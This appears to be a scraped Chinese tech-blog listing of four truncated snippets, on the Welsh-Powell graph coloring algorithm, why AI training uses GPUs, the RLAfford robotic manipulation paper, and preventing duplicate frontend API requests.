Welsh, D.J.A. and Powell, M.B. (1967) An Upper Bound for the Chromatic Number of a Graph and Its Application to Timetabling Problems. 《The Computer Journal》, 10, 85-86. 《The Computer Journal》 1 图着色算法概述 1967年&#xff0c;Welsh和Powell算法引入了…

【机器学习】AI训练,为什么需要GPU?【源码独家】GPU池化平台 AI训练平台 AI推理平台

随着由ChatGPT引发的人工智能热潮&#xff0c;GPU成为了AI大模型训练平台的基石&#xff0c;甚至是决定性的算力底座。为什么GPU能力压CPU&#xff0c;成为炙手可热的主角呢&#xff1f; 要回答这个问题&#xff0c;首先需要了解当前人工智能&#xff08;AI&#xff0c;Artific…

【计算机图形学】End-to-End Affordance Learning for Robotic Manipulation

对RLAfford&#xff1a;End-to-End Affordance Learning for Robotic Manipulation的简单理解 1. 为什么要做这件事 在交互环境中学习如何操纵3D物体是RL中的挑战性问题。很难去训练出一个能够泛化到具有不同语义类别、不同几何形状和不同功能物体上的策略。 Visual Afforda…

前端接口防止重复请求实现方案

虽然大部分的接口处理我们都是加了loading的&#xff0c;但又不能确保真的是每个接口都加了的&#xff0c;可是如果要一个接口一个接口的排查&#xff0c;那这维护了四五年的系统&#xff0c;成百上千的接口肯定要耗费非常多的精力&#xff0c;根本就是不现实的&#xff0c;所以…